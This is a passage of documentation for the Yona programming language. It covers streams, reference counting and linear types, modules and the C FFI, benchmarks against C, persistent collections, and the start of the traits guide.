upgrade path to pipeline parallelism (insert `async` before the expensive stage): ```yona import fromIterator, map, sum from Std\Stream, readLines from Std\File, length from Std\String in fromIterator (readLines "lines.txt") |> map (\line -> length line) |> sum # => 14 ``` (The lambda wrapper around `length` is currently required — passing an imported function directly as a higher-order argument is a known compiler gap.) ## Limitations - **Iterators are linear.** Forward-only, no `length` without draining, single-use. Wrapping the same iterator with `fromIterator` twice yields two streams that share and corrupt state — lift each iterator exactly once. - **Streams are single-consumer.** `toSeq` drains the stream; a second consumer would re-run the pipeline from scratch (or read an already-drained channel after `async`). A broadcast primitive is planned separately. - **No stream fusion for `Std\Stream` yet.** Each `map`/`filter` step allocates a closure per element. Comprehension pipelines *are* fused (see [Performance](/guides/performance/)); for the hottest sequential loops, prefer a comprehension or a single `foldl` over a long stream pipeline. - **Dict/Set iteration** is not yet exposed as an iterator. - **`zip` termination.** `zip` stops when either input ends; the other stream's producer is left dangling (same root cause as the `bracket` abandonment gap). --- # Memory and linearity Source: https://yona-lang.org/guides/memory/ Yona has no garbage collector and no GC pauses. Memory is managed by **atomic reference counting** with a set of compile-time analyses — Perceus ownership transfer, borrow inference, uniqueness detection, escape analysis — that eliminate most counting in practice. On top of the memory story, **linear types** track external resources (file handles, sockets, channel endpoints) so that leaking or double-closing them is caught at compile time. This page covers both layers and states the trade-offs plainly. ## Reference counting Every heap-allocated value — sequences, dicts, sets, strings, tuples, closures, recursive ADTs — carries a two-word header before its payload: ``` [refcount: i64] [type_tag: i64] [ ... payload ... ] ``` The refcount starts at 1 on allocation. Increments and decrements are C11 atomics (relaxed increment; acquire-release decrement), so values can be shared freely across Yona's thread-pool tasks without extra synchronization. When a decrement brings the count to zero, a **recursive destructor** runs: guided by the type tag and a per-object bitmask of heap-typed children, it decrements each child in turn — a dict frees its subtrie nodes, a closure frees its captures, a tuple frees its heap elements. Deallocation is deterministic and immediate; there is no collector thread and no pause. *Implementation note.* Common allocation sizes come from a slab-based pool allocator with thread-local free lists rather than raw `malloc`, and the pool class is encoded in the header's tag word so the destructor knows how to return the block. ## Ownership transfer (Perceus, callee-owns) Naive reference counting would bracket every call with an increment/decrement pair. Yona instead uses a **callee-owns** calling convention in the style of Perceus: the caller passes one reference, the callee is responsible for it — either consuming it, returning it, or dropping it at exit. The key optimization is at the call site. If the compiler can prove an argument is the **last use** of a binding, it skips the increment entirely and transfers ownership: ```yona import foldl from Std\List in let sum xs = foldl (\a b -> a + b) 0 xs in let data = [1, 2, 3, 4] in sum data # => 10 — data moved, no RC traffic ``` `data` is used exactly once, so it is moved into `sum` without touching the refcount; `sum`'s exit logic accounts for the reference instead. Recursive list processing — fold, map, filter chains — runs with almost no counter updates as a result. Where a binding is used more than once, only the non-final uses pay an increment. Branching is handled per-branch: if a value is transferred in one arm of an `if` or `case` but not another, the compiler inserts a compensating decrement only in the arms that did not transfer, keeping counts exact on every path. ### Borrow inference and `@borrow` Many functions only *read* a heap parameter — they do not return it, store it, or capture it. The compiler infers this and drops the RC bracketing for such parameters entirely; inferred borrow contracts are recorded in `.yonai` interfaces so the optimization holds across module boundaries. You can also state the contract explicitly: ```yona let count @borrow xs = length xs in count [1, 2, 3] # => 3 ``` `@borrow` produces the same code as inference; its value is that the contract is now *checked* — if a later edit makes the body return or capture `xs`, the compiler rejects it with **E0603** instead of silently reintroducing refcount traffic. ## Uniqueness: in-place updates behind a persistent interface Before mutating-free structures are copied, the runtime checks the refcount. If it is exactly 1, no one else can observe the value, so the operation mutates **in place**: - **Sequence `cons` and `tail`**: with a unique owner, prepend writes into reserved space and tail bumps an offset — both O(1) with no allocation. This is why an accumulator threaded through a recursive loop is nearly allocation-free. - **Dict/set `put`/`insert` (HAMT)**: with a unique root, the trie node is edited directly instead of path-copied. Building a 10,000-entry dict costs a few hundred allocations (trie growth) instead of one per insert. The optimization is invisible: values are semantically immutable, and the fast path fires only when immutability cannot be observed. See [Persistent data structures](/guides/persistent-data-structures/) for the data-structure side of this story. ## Escape analysis and arenas Values bound in a `let` that provably do not escape the scope — not returned, not captured by a closure, not stored into an escaping structure — are **bump-allocated** from a per-scope arena instead of the pool allocator. Arena values carry a sentinel refcount that makes decrements no-ops; the whole arena is freed in one step at scope exit. Bump allocation is roughly 3× faster than malloc and needs no per-object free. Multi-binding `let` blocks (which form task groups — see [Concurrency in depth](/guides/concurrency/)) attach an arena to the group; it is reclaimed on normal exit and also when an exception unwinds past the scope. ## Weak self-references A recursive closure captures itself, which would form a reference cycle that counting alone could never free. The compiler detects self-capture and makes it **weak**: the self-slot is not counted and not decremented by the destructor. Recursive functions therefore cost nothing extra: ```yona let fact n = if n <= 1 then 1 else n * fact (n - 1) in fact 10 # => 3628800 — no cycle, no leak ``` ## Async safety: buffer pinning Async writes hand buffers to the kernel (io_uring on Linux). The runtime copies outgoing payloads into a pinned RC-managed buffer at submission and releases it only after completion, so a value freed by ordinary RC can never be read by an in-flight kernel operation. ## Trade-offs, honestly - **Cycles.** Reference counting cannot reclaim cycles. The one cycle the language itself creates — recursive closures — is broken by weak self-references, and immutable data cannot otherwise form cycles by construction. But this is a property to know, not a solved-in-general problem. - **Contention.** Atomic counters on values shared hot across many threads can bounce cache lines. The mitigations (transfer, borrowing, arenas) remove most counting, but a heavily shared structure updated from many tasks still pays for atomicity. - **Throughput vs. latency.** A tracing GC can beat RC on raw allocation throughput; Yona trades that for deterministic reclamation, no pauses, and a small fixed memory baseline. ## Linear types Memory is reference-counted, but *external resources* — file descriptors, sockets, spawned processes, channel endpoints — need a different guarantee: each must be released **exactly once**. Yona expresses this with the prelude type `Linear a`, an ordinary ADT with special compile-time tracking: ```yona type Linear a = Linear a ``` Wrapping a value in `Linear` creates an obligation. The only way to reach the payload is pattern matching, which is also the **consumption point**: ```yona let conn = Linear (tcpConnect "localhost" 8080) in case conn of Linear fd -> do reply = recv fd 1024 # borrowing use — no consume close fd # fd released exactly once reply end end ``` ### Which stdlib values are linear Resource constructors return `Linear`-wrapped handles, recorded in their module interfaces: `openFile` (file handles), `tcpConnect` / `tcpListen` / `tcpAccept` / `udpBind` (sockets), `Std\Process.spawn` (process handles), and `Std\Channel.channel`, which returns a tuple of two linear endpoints — `(Linear (Sender a), Linear (Receiver a))`. ### The rules 1. **Consume exactly once.** A linear binding must be pattern-matched exactly once on every execution path. 2. **Transfer, don't alias.** `let y = x` moves the obligation to `y`; `x` is dead afterwards. 3. **Branch consistency.** All arms of an `if`/`case` must consume the same set of linear values. 4. **No silent drop.** A linear value still live at scope exit is a leak and is reported. ### What the checker rejects Use after consume is error **E0600**: ```yona let conn = Linear (tcpConnect "host" 8080) in let conn2 = conn in # conn consumed by transfer send conn "hello" # error[E0600]: linear value 'conn' was already consumed ``` Branch inconsistency is error **E0601**: ```yona if ready then case conn of Linear fd -> close fd end # consumed here else 0 # not consumed here # error[E0601]: 'conn' consumed in then-branch but not else-branch ``` Dropping silently draws a leak warning: ```yona let conn = Linear (tcpConnect "host" 8080) in 42 # warning: linear value 'conn' not consumed — possible resource leak ``` ### `with`: the idiomatic consumer For the common open-use-close pattern, `with` scopes the resource, closes it automatically at exit (on success or exception, via the `Closeable` trait), and discharges the linear obligation in one step: ```yona with conn = tcpConnect "host" 8080 in recv conn 4096 # conn closed automatically at exit ``` Prefer `with` whenever the resource's lifetime matches a lexical scope; reach for explicit `Linear` pattern matching only when the handle must cross scopes or travel through data structures. ### Scope and limitations The linearity checker is flow-sensitive and compile-time only — codegen and RC are unchanged by it. It runs on expression programs but is currently skipped inside module top-level compilation, its diagnostics do not yet fail the build, and closures interact with linear captures only in limited ways (use `with` for resource-scoped work). It tracks resource lifecycle, not memory: it is not a borrow checker, and Yona does not need one — RC plus the uniqueness fast path already provide memory safety and in-place performance. ## Further reading - [Persistent data structures](/guides/persistent-data-structures/) — structural sharing and the rc==1 fast paths from the data-structure side - [Concurrency in depth](/guides/concurrency/) — task groups, arenas, and linear channel endpoints in practice - [The type system](/guides/type-system/) — where linearity fits among the other static checks --- # Modules and interfaces Source: https://yona-lang.org/guides/modules-interfaces/ Modules are Yona's compilation units. Each module compiles to a **native object file** (`.o`) with C-ABI exports plus a **text interface file** (`.yonai`) that carries the type-level metadata other modules need to call it safely. This page covers the compilation model in depth; for a first introduction to writing and importing modules, see [Modules](/learn/modules/). ## Declarations and exports, briefly A module is a top-level declaration — not an expression. It names itself with a backslash-separated fully qualified name, lists its exports, and ends at end-of-file (no `end` keyword): ```yona module Acme\Geometry export area, scale export type Shape type Shape = Circle Float | Rect Float Float area shape = case shape of Circle r -> 3.141592653589793 * r * r Rect w h -> w * h end scale factor xs = [factor * x for x = xs] # Private helper — not exported, invisible to importers half x = x / 2 ``` Export forms: - `export f, g` — export functions by name. - `export type Name` — export a type and **all** of its constructors. - `export f, g from Other\Module` — re-export: importers see `f` and `g` as if this module defined them. Re-exports compile to thin forwarding wrappers, so both object files must be present when linking from foreign code. Importers have three styles — selective, wildcard, and fully qualified calls: ```yona import area from Acme\Geometry in area (Rect 3.0 4.0) # selective # => 12.0 import Acme\Geometry in area (Circle 1.0) # wildcard Acme\Geometry::scale 2 [1, 2, 3] # FQN, no import needed # => [2, 4, 6] ``` ## The compilation model Compiling a file that contains a `module` declaration produces two artifacts: ```bash yonac -o Geometry.o Geometry.yona # Produces: Geometry.o (native object) + Geometry.yonai (interface) ``` Exported functions receive C-ABI symbols using a fixed mangling scheme — `yona_` + the FQN with `\` replaced by `_` + `__` + the function name: | Yona name | Linker symbol | |-----------|---------------| | `Acme\Geometry::area` | `yona_Acme_Geometry__area` | | `Std\List::map` | `yona_Std_List__map` | Because the exports are plain C symbols, a Yona module can be linked into C, Rust, or Go programs with the system linker. Implementation note. When `yonac` compiles a *program* (an expression file) that imports Yona modules, it resolves the imports through the `.yonai` interfaces and compiles the needed function bodies from the source text embedded in those interfaces directly into the program's own LLVM module. The final link line is the program object, the Yona runtime, and the Prelude object. The module `.o` exists for the foreign-linking case — calling Yona from C or another language's build system — not because every Yona-to-Yona call goes through it. ## Interface files (`.yonai`) The interface file is a line-oriented text format. It carries everything the compiler needs to type-check and compile calls into the module: ``` ADT Shape 2 2 CTOR Circle 0 1 fields _0:FLOAT CTOR Rect 1 2 fields _0:FLOAT _1:FLOAT FN yona_Acme_Geometry__area 1 ADT -> FLOAT FN yona_Std_Channel__channel 1 INT -> TUPLE LINEAR LINEAR FN yona_Std_GPU__raiseGpu 1 ADT -> UNIT effects Gpu.deviceLost,Gpu.fail,Gpu.oom AFN yona_Pkg_Mod__slow 1 INT -> INT TRAIT Show a 1 METHOD show INSTANCE Show Int IMPL show yona_Prelude__Show_Int__show GENFN_BEGIN yona_Acme_Geometry__scale scale scale factor xs = [factor * x for x = xs] GENFN_END ``` Line kinds and what they carry: - **`ADT` / `CTOR`** — exported type shapes: variant count, arities, field types, and whether the type is recursive (recursive ADTs are heap-allocated). - **`FN`** — an exported function: mangled symbol, parameter count, parameter and return types. Extra annotations overlay richer type information on the base signature: - `LINEAR` in a type position marks a linearity overlay — the value must be consumed exactly once (channel endpoints, file handles). - `effects Label,...` records a closed effect row so a caller's `handle` type-checks across the module boundary. `effects | hof` marks an open rest whose first parameter is a function (`apply f x = f x`); the importer reconstructs that shape so the argument's effects still propagate. - `borrow MASK` is a bitmask of parameters the compiler proved are read-only and non-escaping; importers skip the caller-side reference-count increment for those positions. - **`AFN`** — an async function (`extern async` or async export): calls return a `Promise` and run on the thread pool, transparently awaited at use sites. - **`TRAIT` / `INSTANCE` / `IMPL`** — trait definitions and instance method symbols for cross-module trait dispatch. - **`GENFN_BEGIN` … `GENFN_END`** — the exported function's *source text*, used for cross-module monomorphization (next section). Implementation note. Borrow inference is conservative across module boundaries: a forwarded argument only stays borrowed when the callee is known to borrow that parameter, and functions that can `raise` keep owned unwind cleanup. An omitted `borrow` mask means the normal callee-owns convention. ## Cross-module generics (GENFN) Yona compiles functions by **monomorphization**: a function body is compiled at the call site, where the concrete argument types are known. A precompiled module has already fixed one signature per export — so what happens when your call site uses different types? The `.yonai` embeds each exported function's source text in a `GENFN_BEGIN`/`GENFN_END` block. When the call-site argument types differ from the precompiled signature, the compiler re-parses that source and compiles a type-specialized copy **locally, in the caller**. You get the same monomorphized code quality as if the function had been defined in your own file: ```yona # Acme\Numeric defines and exports: double x = x + x # Precompiled once with the inferred signature Int -> Int. import double from Acme\Numeric in double 21 # => 42 # matches the precompiled signature: direct extern call import double from Acme\Numeric in double 1.25 # => 2.5 # Float call site: GENFN source re-compiled for Float ``` Trait instance methods are compiled with external linkage precisely so that re-parsed GENFN bodies can call them through normal trait dispatch. **Current limitation.** A re-parsed GENFN body can only reference names that are visible to the importer: other exports, Prelude names, and stdlib imports. An exported function that calls a *private* module helper currently fails at the import site with `E0104 undefined function`. Until that is fixed, export every function that your exports depend on. ## Module search paths When resolving `import Acme\Geometry`, the compiler looks for `Acme/Geometry.yonai` (falling back to `Acme/Geometry.yona` source for pure-Yona modules) in this order: 1. Each `-I` path, in the order given on the command line. 2. Each directory in `YONA_PATH` (`:`-separated on Unix, `;`-separated on Windows). 3. The directory containing the input file. 4. The current working directory. 5. `lib/` and `share/yona/lib/` under each discovered **sysroot**. A sysroot is a Yona distribution root. Sysroots are discovered from the `--sysroot` flag, the `YONA_HOME` environment variable, and the directory containing the `yonac` executable itself (which is how packaged installs find their bundled stdlib without any configuration): ```bash yonac -I ./vendor -I ./build/modules -o app main.yona # explicit paths YONA_HOME=/opt/yona yonac -o app main.yona # explicit sysroot ``` See [the CLI reference](/reference/cli/) for the complete flag list. ## C FFI: `extern` declarations Modules bind to C functions with `extern` declarations. Three forms: ```yona extern sqrt : Float -> Float # bare: Yona name == C symbol extern getEnv : String -> String = "getenv" # aliased: rename the C symbol extern async slowCompute : Int -> Int = "my_slow" # thread-pool async → Promise ``` - **Bare form** — for C functions whose names already fit Yona (`sqrt`, `puts`). The identifier you write is the symbol the linker resolves. - **Aliased form** — the string is the literal linker symbol, which may contain characters Yona identifiers cannot (`@`, versioned symbols, C++ mangling). This is also how the stdlib quarantines runtime mangling: one `extern raw_send : … = "yona_Std_Channel__send"` at the top of the file, clean names everywhere else. - **Async form** — the call is dispatched to the thread pool and returns a `Promise`, transparently awaited at the use site. Combinable with aliasing. Type mapping across the boundary: | Yona type | C type | |-----------|--------| | `Int` | `int64_t` (LLVM `i64`) | | `Float` | `double` | | `Bool` | `bool` (LLVM `i1`) | | `String` | `char *` (NUL-terminated) | | `()` | `void` | This is the pattern the standard library uses throughout — `Std\Channel`, `Std\GPU`, and friends declare aliased externs at the top of the file and export clean Yona wrappers around them: ```yona module Std\Channel extern raw_new : Int -> Channel = "yona_Std_Channel__channel" extern raw_send : Channel -> Int -> () = "yona_Std_Channel__send" channel n = let r = raw_new n in (Linear (Sender r), Linear (Receiver r)) ``` Implementation note. `extern` never reads C headers and never invokes a C compiler — it declares an LLVM extern reference with exactly the signature you wrote. A mistyped C symbol surfaces as a linker error pointing at the bad reference; a mistyped Yona-side name fails at parse time. **Current limitation.** The stdlib's extern wrappers work at import time because their C symbols live in the Yona runtime, which `yonac` always links. A *user* module whose exports depend on its own externs cannot currently be imported into a `yonac`-compiled program: the GENFN re-parse doesn't see the extern declarations, and `yonac` does not yet add user module objects to its link line. Extern-backed user modules are usable today as the program's own module or when you drive the final link yourself (from C or a foreign build system, linking the module `.o` plus its C dependencies). ## Trait instances across modules Trait instance methods compile with **external linkage** and appear in the `.yonai` as `INSTANCE`/`IMPL` entries alongside plain `FN` metadata. This means an importing module — including GENFN bodies re-monomorphized in the importer — dispatches to the defining module's instance methods through ordinary symbol resolution. Defining `Show` for your ADT in one module makes `show` work on that ADT everywhere the module is imported. ## Worked example: a two-module program `Geometry.yona`: ```yona module Geometry export area, scale area w h = w * h scale factor xs = [factor * x for x = xs] ``` `main.yona`: ```yona import area, scale from Geometry, foldl from Std\List in let a = area 6 7, doubled = scale 2 [10, 20, 30] in a + foldl (\acc x -> acc + x) 0 doubled ``` Compile and run: ```bash yonac -o Geometry.o Geometry.yona # emits Geometry.o + Geometry.yonai yonac -I . -o demo main.yona # resolves the import via Geometry.yonai ./demo # => 162 ``` The two `let` bindings are independent, so they evaluate concurrently — module boundaries do not change Yona's transparent-async semantics. ## Limitations - **No circular dependencies.** Modules compile in dependency order. - **No package manager yet.** Paths and compilation order are managed by hand or by your build system. - **Private-helper GENFN gap.** Exported functions that reference unexported module names fail at the import site (`E0104`); export the helpers they use. - **Extern-backed user modules.** Exports that depend on the module's own `extern` declarations cannot yet be imported into a `yonac`-compiled program (see the FFI section above); link such modules from a foreign build system instead. - **One module per file.** A source file contains either a module declaration or a program expression, not both. --- # Performance Source: https://yona-lang.org/guides/performance/ Yona's performance story is built on two rules: **measured claims only**, and **a reproducible harness** anyone can run. Every number on this page comes from the benchmark suite in the compiler repository, where each benchmark has a golden `.expected` output that is verified before timing — a benchmark that produces the wrong answer does not get to report a time. ## How the compiler shapes performance ### Monomorphization Yona has no uniform boxed representation for generic code. Functions are stored as AST at definition and compiled **at the call site**, where concrete argument types are known — so a generic `map` over `Int` compiles to a loop over 64-bit integers, not to calls through a boxed interface. The same mechanism works across module boundaries: exported functions embed their source text in the `.yonai` interface and are re-specialized in the caller when call-site types differ (see [Modules and interfaces](/guides/modules-interfaces/)). ### Stream fusion in comprehensions Chained comprehensions fuse into a single loop with no intermediate collections: ```yona let nums = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10], doubled = [x * 2 for x = nums] in [x for x = doubled, if x > 10] # => [12, 14, 16, 18, 20] ``` The map and the guarded filter compile into one pass; `doubled` never materializes when it is only consumed by the next comprehension. This is why the `list_map_filter` benchmark below matches C: the C version is a single loop, and so is the compiled Yona. Implementation note. Fusion currently applies to comprehension pipelines. The combinator pipelines of `Std\Stream` are *not* fused yet — each step allocates a per-element closure — so prefer comprehensions or a single `foldl` for the hottest sequential loops. ### Reference counting with Perceus transfer Heap values are managed by atomic reference counting, but the compiler removes most of the traffic. All heap types follow a **callee-owns** calling convention: when an argument is provably at its last use, ownership transfers without an increment; the callee consumes it directly. Combined with automatic **borrow inference** — parameters that provably don't escape skip both the call-site increment and the function-exit decrement — typical fold/map/filter code runs with almost no refcount operations in the loop. When a sequence or dictionary has reference count 1, operations mutate it in place instead of copying: consing to a uniquely-owned sequence is O(1) with no allocation, and inserting into a uniquely-owned dictionary updates the node directly. Persistent semantics are preserved — the fast path only triggers when nobody else can observe the value. Implementation note. Introducing Perceus transfer made the list benchmarks (`list_sum`, `list_reverse`, `list_map_filter`) 2–3× faster with 3× less memory, and cut the `queens` benchmark's footprint from 43 MB to 2.2 MB. An explicit `@borrow` parameter annotation exists, but for bodies that pass its checks the inference already produces identical code — the annotation is a compile-time-checked contract, not a speedup. ### Arena and pool allocation Let-bound values that provably don't escape their scope are bump-allocated from a per-scope arena — roughly 3× faster than malloc — and freed in bulk at scope exit with no per-object refcounting. Everything else goes through a slab-based pool allocator with thread-local free lists for the common small sizes. Multi-binding `let` blocks (which form implicit task groups) attach an arena to the group and reclaim it wholesale when the group ends, even when unwinding through a `raise`. ## Benchmarks vs C Measured against equivalent C compiled with `gcc -O2`, 10 iterations, wall-clock time. Ratio is Yona time / C time — 1.0x means parity: | Benchmark | Ratio | Notes | |-----------|-------|-------| | par_map | **1.0x** | Parallel comprehension, 20 elements | | list_map_filter | **1.0x** | Stream fusion eliminates intermediate allocations | | parallel_async / sequential_async | **1.0x** | io_uring + thread pool | | tak | **1.1x** | Deep recursion | | sum_squares | 1.3x | Tight loop, tail-call elimination | | sieve | 1.4x | List filtering | | fibonacci | 2.4x | Function-call overhead | | dict_build / set_build (10K) | 2.2x | Persistent HAMT vs raw C array/hash | | ackermann | 2.6x | Deep recursion | | queens | 10.6x | Allocation-heavy (43 MB vs 2 MB) — under investigation | Read the table honestly: pipelines that fuse, parallel workloads, and recursion-heavy numeric code sit at or near C. Allocation-heavy backtracking (`queens`) is currently the worst case by a wide margin — the allocator pressure is a known problem being worked on, not a fact of life we're hiding. Persistent dictionaries and sets pay roughly 2× over raw mutable C structures in exchange for O(1) structural sharing. ## Running the harness The suite lives in `bench/` in the compiler repository. Reference implementations in C, Erlang, Haskell, Java, JavaScript, and Python are under `bench/reference/` (C and Erlang are wired into the runner's comparison output; the rest are kept for reading). ```bash # All benchmarks, compare against the C references, 10 iterations python3 bench/runner.py --compare-c -n 10 # One benchmark python3 bench/runner.py fibonacci # Compare optimization levels, JSON for CI python3 bench/runner.py --all-opt-levels python3 bench/runner.py --json # Verify reference programs against golden outputs (no Yona compile) python3 bench/runner.py --verify-reference-outputs ``` The runner reports min/avg/max wall time and peak RSS, and refuses to time any program whose output does not match its `.expected` file. Erlang comparisons include ~1 s of VM startup, so short benchmarks look lopsided — noted in the harness docs rather than quietly cropped. ## Writing fast Yona ### Prefer folds over repeated concatenation `++` copies; building a list by appending in a loop is O(n²). Fold with cons (O(1) on a uniquely-owned sequence) and reverse once, or use a comprehension: ```yona import foldl, reverse from Std\List in # O(n): cons then one reverse reverse (foldl (\acc x -> (x * x) :: acc) [] [1, 2, 3, 4]) # => [1, 4, 9, 16] # Simpler and fused: [x * x for x = [1, 2, 3, 4]] # => [1, 4, 9, 16] ``` `foldl` is loop-compiled — no stack growth on large inputs. ### Stream large data instead of materializing it Functions like `readLines`, `chars`, and `split` return iterators, and comprehensions over them run in constant memory. A 50 MB file costs 64 KB of buffer, not 50 MB of sequence: ```yona import readLines from Std\File, foldl from Std\List in foldl (\n _ -> n + 1) 0 [1 for _ = readLines "big.log"] # => the line count, in O(64 KB) memory ``` See [Iterators and streams](/guides/iterators/) for the full model and for when a materialized `Seq` is the better choice (small data, random access, multiple passes). ### Use parallel comprehensions for independent work `[| … ]` evaluates the body across the thread pool; independent multi-`let` bindings also auto-parallelize: ```yona [| expensiveCheck x for x = candidates ] # => same result as the sequential comprehension, elements computed concurrently ``` This is the shape behind the `par_map` 1.0x row: twenty independent bodies, saturating the pool with no annotations beyond `[|`. ### Pick an optimization level `yonac` compiles at `-O2` by default. `-O3` occasionally helps tight numeric loops; `-O0` compiles fastest for development; `-g` adds DWARF debug info at any level: ```bash yonac -O3 -o hot hot.yona yonac -O0 -g -o dev dev.yona ``` See [the CLI reference](/reference/cli/) for all flags. ### Columnar workloads: consider the GPU path For large `IntArray` / `FloatArray` map/filter/reduce pipelines, the compiler lowers recognized shapes to an accelerator ABI that can execute on a GPU when one is available — with identical results on the CPU otherwise. Crossover benchmarks (CPU-forced vs GPU-opted-in on the same binaries) ship with the harness: ```bash python3 bench/run_gpu_compare.py # CPU vs Vulkan wall times python3 bench/run_gpu_compare.py --json-report ``` See [Accelerators (GPU)](/guides/accelerators/) for the execution model, the supported kernel library, and the tuning knobs. ## Reproducing and reporting If you measure something different, the most useful report includes the harness output (`--json`), your hardware, and the compiler version. Benchmark results published by the project are always tied to the harness so they can be re-run — treat any Yona performance claim that can't be reproduced with `bench/runner.py` as suspect, including ours. --- # Persistent data structures Source: https://yona-lang.org/guides/persistent-data-structures/ All of Yona's built-in collections are **persistent**: operations return a new value and never modify the original. Persistence is what makes Yona's concurrency model safe (any task can read any value without locks), makes equational reasoning valid (a value never changes under you), and gives versioning and undo for free. This page explains what persistence means operationally, how each structure is represented, what the operations cost, and how to write fast code with them. ## What persistence means operationally An "update" produces a new version; the old version remains valid and unchanged. The two versions are not copies of each other — they **share structure**, and only the changed path is newly allocated: ```yona import put from Std\Dict in let original = {1: "one", 2: "two", 3: "three"} in let updated = put original 4 "four" in (original, updated) # => original still has 3 entries; updated has 4. # They share the subtree holding keys 1, 2, 3. ``` For a 10,000-entry dict, `put` allocates O(log n) new nodes — a handful — while everything else is shared. "Copy-on-write" semantics at a fraction of the copying. ## Sequences Sequences (`[1, 2, 3]`) are Yona's list type. The representation is hybrid: - **Small sequences (≤ 32 elements)** are a flat array with an offset field, so removing the head is a pointer bump, not a copy. - **Large sequences** are a 32-way **radix-balanced trie** with a head chain that absorbs prepends and a tail buffer that absorbs appends. ### Complexity | Operation | Cost | Notes | |-----------|------|-------| | `cons` (prepend, `::`) | O(1) amortized | head chain absorbs prepends | | `head` | O(1) | direct access | | `tail` | O(1) amortized | offset bump / chain pull | | index (`nth`) | O(log32 n) | trie descent; O(1) when small | | `length` | O(1) | stored in the root | | `++` (concat) | O(n) | flatten and rebuild | ```yona let xs = [1, 2, 3, 4, 5] in let ys = 0 :: xs in # => [0, 1, 2, 3, 4, 5] — O(1) case xs of [h|t] -> h end # => 1 — O(1), xs unchanged ``` Note the branching factor: log32 of a million is about 4, so indexed access into large sequences is a handful of pointer hops, not a linked-list walk. ## Dictionaries and sets Dicts (`{"a": 1}`) and sets (`{1, 2, 3}`) share one engine: a **hash array mapped trie (HAMT)** — a 32-way bitmap-compressed persistent hash trie. A set is a HAMT whose entries carry no payload. | Operation | Cost | |-----------|------| | `put` / `insert` | O(1) amortized | | `get` / `contains` | O(1) amortized | | `size` | O(1) | | `keys`, `entries`, iteration | O(n) | "O(1) amortized" is precise here: a 64-bit hash consumed 5 bits per level bounds the trie at 7 levels, so every lookup or insert touches at most 7 compact nodes. An insert path-copies those nodes and shares the rest of the trie with the previous version. ```yona import put, get, contains from Std\Dict in let d = put (put {} "name" "Alice") "age" 30 in (get d "name" "unknown", contains d "email") # => ("Alice", false) ``` ```yona import union, intersection from Std\Set in let a = {1, 2, 3, 4, 5}, b = {3, 4, 5, 6, 7} in (Std\Set.size (union a b), Std\Set.size (intersection a b)) # => (7, 3) ``` ## Functional update idioms There is no assignment; "updating" a collection means computing a new one and threading it through the program. The standard idioms: **Thread the new version through recursion:** ```yona import put from Std\Dict in let index n d = if n <= 0 then d else index (n - 1) (put d n (n * n)) in Std\Dict.size (index 100 {}) # => 100 ``` **Build with folds, not repeated concatenation:** ```yona import foldl from Std\List in let evens = foldl (\acc x -> if x % 2 == 0 then x :: acc else acc) [] [1, 2, 3, 4, 5, 6] in evens # => [6, 4, 2] ``` Each `::` is O(1); building a list of n elements by folding is O(n). Building it with repeated `xs ++ [x]` is O(n²), because every `++` rebuilds the left operand. If output order matters, cons and `reverse` once at the end (O(n)) — still linear overall. **Use collection combinators before manual recursion:** `map`, `filter`, `foldl`, `take`, `zip` and friends from `Std\List` cover most shapes and are written against the fast paths described below. ## In-place optimization: transparent uniqueness Persistence sounds expensive — a new version per operation — but Yona's runtime checks the reference count before copying. If a collection's refcount is exactly 1, no other reference can observe it, so the operation **mutates in place**: - unique `cons`/`tail` on a sequence: O(1), zero allocation - unique HAMT `put`: edits the node directly instead of path-copying ```yona # Runs with O(1) allocation per step: each intermediate list # is uniquely owned, so tail reuses storage instead of copying. let sum acc xs = case xs of [] -> acc [h|t] -> sum (acc + h) t end in sum 0 [1, 2, 3, 4, 5] # => 15 ``` This is **transparent**: semantics are unchanged, and the fast path fires exactly when immutability cannot be observed. A dict built in a tight loop performs like a mutable hash table while remaining a persistent value the moment you share it. The ownership analysis that keeps refcounts at 1 through call chains is described in [Memory and linearity](/guides/memory/). *Implementation note.* Uniqueness is checked with one atomic load of the refcount header. The compiler's callee-owns convention and last-use analysis avoid spurious refcount increments precisely so that hot-loop accumulators stay at rc==1 and hit these paths. ## Pattern matching over collections Sequences destructure with head-tail and literal patterns; dicts match on keys; both nest freely with ADT and tuple patterns: ```yona let describe xs = case xs of [] -> "empty" [x] -> "one" [h|t] -> "head " ++ show h end in describe [10, 20, 30] # => "head 10" ``` ```yona case {"status": 200, "body": "ok"} of {"status": 200} -> "success" _ -> "failure" end # => "success" ``` Matching never copies: `[h|t]` binds `h` by access and `t` by structural sharing (or an in-place offset bump when unique). A dict key pattern is a lookup, not a traversal. ## Performance guidance **Choosing a structure:** - **Sequence** — ordered data, front-heavy access, recursion over elements, building results. The default collection. - **Dict** — keyed lookup. Use when you would reach for a hash map; don't simulate one with a sequence of pairs and linear search. - **Set** — membership tests and set algebra (`union`, `intersection`, `difference`). A set beats `contains` on a sequence from a few dozen elements up. **Building:** - Fold with `::` (O(n)); never grow with `xs ++ [x]` in a loop (O(n²)). - Build dicts/sets by threading through a fold — the uniqueness fast path makes it competitive with mutable tables. - Let bindings keep intermediate collections uniquely owned; sharing a value across tasks or storing it in a long-lived structure ends the in-place regime for that value (correctly — from then on versions genuinely share). **Traversal:** prefer `foldl` (loop-based, no stack growth) over hand-rolled non-tail recursion for aggregation; use `Iterator`-returning functions for O(1)-memory streaming over large inputs — see [Iterators and streams](/guides/iterators/). **Concat:** `++` is O(n); concatenating many pieces is best done once at the end (`flatten`) rather than pairwise in a loop. ## Why this design The alternative — mutable collections with defensive copying — pushes the cost onto every boundary where data is shared: across tasks, into caches, between versions. Persistent structures invert this: sharing is free and *updating* pays a small logarithmic cost, which the uniqueness optimization then erases in the common single-owner case. Combined with reference counting (deterministic reclamation, no GC pauses), the result is predictable performance with immutability as the default. Measured numbers against C and other languages are in [Performance](/guides/performance/). --- # Traits Source: https://yona-lang.org/guides/traits/ Traits define shared behavior across types — the same idea as Haskell's type classes or Rust's traits. A trait declares a set of method signatures; an **instance** implements them for a concrete type; the compiler resolves every call to the right instance **statically**, so trait polymorphism costs nothing at runtime. This page is the full treatment: syntax, superclass constraints, constrained instances, dispatch mechanics, module export, auto-derive, and a worked example. ## Declaring a trait A trait names a type parameter and lists method signatures: ```yona trait Num a abs : a -> a max : a -> a -> a min : a -> a -> a negate : a -> a end ``` Multi-method traits are the norm — group the operations that belong to one concept. Signatures use ordinary type syntax with the trait's parameter `a` standing for "the implementing type". ## Implementing instances `instance Trait Type` provides the method bodies: ```yona instance Num Int abs x = if x < 0 then 0 - x else x max a b = if a > b then a else b min a b = if a < b then a else b negate x = 0 - x end instance Num Float abs x = if x < 0.0 then 0.0 - x else x max a b = if a > b then a else b min a b = if a < b then a 